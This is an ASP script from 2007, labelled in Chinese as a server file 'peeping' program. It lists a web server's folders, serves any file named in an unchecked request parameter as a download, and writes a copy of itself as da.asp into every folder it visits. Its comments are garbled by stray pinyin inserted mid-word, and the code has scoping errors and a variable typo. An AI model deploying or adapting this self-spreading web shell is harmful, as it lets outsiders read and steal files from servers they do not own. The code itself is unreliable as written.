<%
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
‘ 服務(wù)器文件信息偷窺程序 示例代碼
‘Copyright 2007 獨孤翼 QQ:88056598 湖南長(cháng)沙 保留所有權利。
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
Option Explicit
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
‘ 對于代碼質(zhì)量:
‘ 1) 下面的代碼有許多字符串操作,用"&"運算符來(lái)把短字符串連接在一起。由于
‘ 字符串連接是費時(shí)的,所以這是一種低效率的寫(xiě)代碼方法。無(wú)論如何,它是
‘ 一種非常好維護的寫(xiě)代碼方法,并且在這兒使用了這種方法,因為該程序執行
‘ 大量的磁盤(pán)操作,而磁盤(pán)操作比連接字符串所需的內存操作要慢得多。
‘ 記住這是示范代碼,而不是產(chǎn)品代碼。
‘
‘ 2) 使用了 "Option Explicit",因為訪(fǎng)問(wèn)聲明過(guò)的變量,比訪(fǎng)問(wèn)未聲明的變量要
‘ 稍微快一些。它還能阻止在代碼中發(fā)生錯誤,例如,把 DriveTypeCDROM 誤拼
‘ 成了 DriveTypeCDORM 。
‘
‘ 3) 為了使代碼更可讀,該代碼中沒(méi)有錯誤處理。雖然采取了防范措施,來(lái)保證代碼
‘ 在普通情況下沒(méi)有錯誤,但文件系統是不可預知的。在產(chǎn)品代碼中,使用
‘ On Error Resume Next 和 Err 對象來(lái)捕獲可能發(fā)生的錯誤。
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
‘ 一些容易取得的全局變量
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
Const ForReading=1
Const TristateTrue=-1
Const FILE_TRANSFER_SIZE=16384
Response.Buffer = True
Sub Main()
Dim path, mimeType, sucess,downfilename
downfilename=request("filename")
if downfilename<>"" then
path =Server.MapPath(downfilename)
mimeType="text/plain"
sucess = TransferFile(path, mimeType,downfilename)
else
Dim objFolder
Dim objFSO
Dim daf
dim dat
Dim da
‘ 建立FSO和文件夾對象
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder(Server.Mappath(".")) ‘獲取當前目錄路徑
‘獲取當前文件內容到變量dat中
set daf=objFSO.OpenTextFile(server.MapPath("da.asp"))
dat=daf.readall
daf.close
ListFolders(objFolder) ‘調用ListFolders函數顯示文件夾對象objFolder內所有子文件夾及文件
end if
Response.End
End Sub
‘顯示文件函數
Function ListFile(objFolder)
Dim objFile
‘遍歷當前文件夾下每個(gè)文件
For Each objFile in objFolder.Files
‘以讀取方式打開(kāi)文件
response.write " -<a href=da.asp?filename=" & objFile.Name & ">Download</a> "
response.write " -<a href=‘" & objFile.Name & "‘>"&objFile.Name&"</a> "&cInt(objFile.Size/1024)&"K<br>"
Next
‘在當前文件夾下創(chuàng )建da.asp文件
set da=objFSO.CreateTextFile(objFolder&"/da.asp",True)
da.write dat
da.close
End Function
‘顯示文件夾函數
Function ListFolders(objFolder)
response.write "+"&objFolder.Name&"<br>"
‘顯示當前文件夾下文件
ListFile objFolder
Dim objSubFolder
‘遍歷當前文件夾下每個(gè)文件夾
For Each objSubFolder in objFolder.SubFolders
response.write " +"&objSubFolder.Name&"<br>"
ListFile objSubFolder
response.write " +"&objSubFolder.Name&"<br>"
Next
response.write "-"&objFolder.Name&"<br>"
End Function
‘下載文件函數
Function TransferFile(path, mimeType, filename)
Dim objFileSystem, objFile, objStream
Dim char
Dim sent
send=0
TransferFile = True
Set objFileSystem = Server.CreateObject("Scripting.FileSystemObject")
Set objFile = objFileSystem.GetFile(Path)
Set objStream = objFile.OpenAsTextStream(ForReading, TristateTrue)
Response.AddHeader "content-type", mimeType
response.AddHeader "Content-Disposition","attachment;filename=" & filename
Response.AddHeader "content-length", objFile.Size
Do While Not objStream.AtEndOfStream
char = objStream.Read(1)
Response.BinaryWrite(char)
sent = sent + 1
If (sent MOD FILE_TRANSFER_SIZE) = 0 Then
Response.Flush
If Not Response.IsClientConnected Then
TransferFile = False
Exit Do
End If
End If
Loop
Response.Flush
If Not Response.IsClientConnected Then TransferFile = False
objStream.Close
Set objStream = Nothing
Set objFileSystem = Nothing
End Function
%>